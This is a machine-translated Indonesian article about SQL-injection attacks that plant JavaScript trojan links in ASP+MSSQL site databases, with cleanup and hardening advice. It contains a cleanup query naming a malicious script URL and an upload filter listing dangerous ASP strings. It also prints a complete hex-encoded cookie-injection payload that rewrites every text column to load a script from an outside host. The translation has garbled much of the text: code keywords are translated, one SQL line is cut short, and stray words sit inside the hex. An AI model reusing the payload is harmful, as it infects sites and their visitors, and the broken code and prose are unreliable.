Saat ini, banyak situs web yang dirancang dengan ASP+MSSQL mungkin pernah mengalami pengalaman memasukkan database SQL mereka ke dalam Trojan JS oleh peretas; tidak, situs web teman ditipu oleh peretas.
Setiap varchar dan kolom teks mssql secara otomatis dimasukkan ke dalam potongan kode js. Bahkan jika potongan kode ini dihapus, jika tidak diselesaikan dari sumbernya, kode js akan secara otomatis dimasukkan ke dalam database dalam beberapa menit.
Setelah pengamatan Piao Yi, hal ini kemungkinan besar akan dijalankan secara otomatis oleh program. Peretas pertama-tama mencari situs web rentan yang dirancang dengan asp+mssql dari mesin pencari seperti Google dan Baidu, dan kemudian menggunakan alat pemindaian injeksi seperti Xiao Mingzi untuk memindai keseluruhan. website. , setelah kerentanan injeksi sql ditemukan atau diunggah Jika ada kerentanan, peretas menggunakan berbagai cara untuk mengunggah Trojan mereka sendiri, seperti Trojan Haiyang, lalu peretas memasukkan situs web ini ke dalam daftar broiler mereka, dan menambahkan kode js yang ingin mereka tambahkan ke database kapan saja, dan ini; kode sering kali berisi banyak virus dan Trojan, yang pada akhirnya meracuni komputer pengguna yang mengunjungi situs web yang dikendalikan.
Meskipun Anda dapat melakukan penggantian batch melalui penganalisis kueri SQL untuk menyelesaikan sementara masalah kode js yang dimasukkan, jika Anda tidak menyelesaikan kerentanan seluruh situs web secara mendasar, termasuk izin keamanan program dan server, peretas masih dapat menyerang situs web Anda kapan saja. Basis data situs web.
Di penganalisis kueri SQL, Anda dapat menjalankan kode berikut untuk mengganti kode js secara batch:
Copy kode kodenya sebagai berikut:
"perbarui nama bidang kumpulan nama tabel=ganti(nama bidang,'<Script Src=http://cn%75clear3.com/css/c.js></Script>','')"
flymorn memeriksa situs web dengan cermat dan menemukan beberapa masalah keamanan:
Pertama, situs web memiliki kerentanan pengunggahan; meskipun pengunggahan file memerlukan autentikasi administrator dan autentikasi format file dari file yang diunggah, autentikasi administrator menggunakan cookie, dan cookie dapat dipalsukan, dan jika diunggah Jika Anda tidak membuat penilaian apa pun terhadap konten file tersebut. setelah mengambil gambarnya, maka gambar tersebut kemungkinan besar akan diunggah oleh Trojan.
Solusi: 1 Hapus fungsi unggahan file (tidak praktis); 2 Ubah verifikasi pengguna unggahan menjadi verifikasi sesi; 3 Verifikasi konten file yang diunggah, dan hapus jika itu adalah gambar Trojan, Anda dapat merujuk ke kode verifikasi berikut :
Copy kode kodenya sebagai berikut:
''================ Tentukan apakah file yang diunggah mengandung string start ilegal ================
setel MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) 'Baca file teks
sTextAll = lcase(Teks Saya.BacaSemua)
Teks Saya.tutup
atur MyFile = tidak ada
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|bahasa="
sNoString = membagi(sStr,"|")
untuk i=0 hingga ubound(sNoString)
jika instr(sTextAll,sNoString(i)) maka
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.hapusfile Server.mappath(filePath)
setel filedel = tidak ada
Response.Write("<script>alert('Ada masalah dengan file yang Anda upload, upload gagal!');history.back();</script>")
Respon.Akhir
berakhir jika
Berikutnya
''=== Tentukan apakah file yang diunggah mengandung string end ilegal=====
Kedua, situs web memiliki kerentanan injeksi cookie. Karena desain program, untuk mengurangi overhead server, semua pengguna menggunakan cookie untuk otentikasi setelah login. Cookie ini menyimpan ID dan NAMA pengguna. Seperti yang kita ketahui bersama, cookie sering kali dipalsukan oleh peretas. Selain itu, beberapa parameter eksternal tidak menggunakan request.form dan request.querystring yang ketat untuk mendapatkan konten. Untuk kesederhanaan, request("id") digunakan.
Kita tahu bahwa permintaan ASP pertama-tama memperoleh konten dari formulir dan string kueri. Jika keduanya kosong, konten harus diperoleh dari cookie. Orang sering mempertimbangkan injeksi SQL dari request.form dan request.querystring dalam pemrograman dan request.querystring umumnya difilter untuk injeksi sql; tetapi mereka lupa memfilter injeksi dalam mode cookie. Mari kita lihat pernyataan sql berikut:
Copy kode kodenya sebagai berikut:
SQL="pilih * dari nama tabel di mana")
Jika id ini kebetulan mendapatkan nilai melalui cookie, maka pikirkanlah, betapa buruknya itu! Injektor dapat dengan mudah memalsukan cookie palsu bernama id karena cookie dengan id ini ditetapkan oleh server. Cookie ini dapat dipalsukan menjadi potongan kode seperti berikut:
Copy kode kodenya sebagai berikut:
menyatakan @s vArChAr(4000);set @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 Jaringan Bakat TI () 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a sebagai vArChAr(4000));exec(@s);--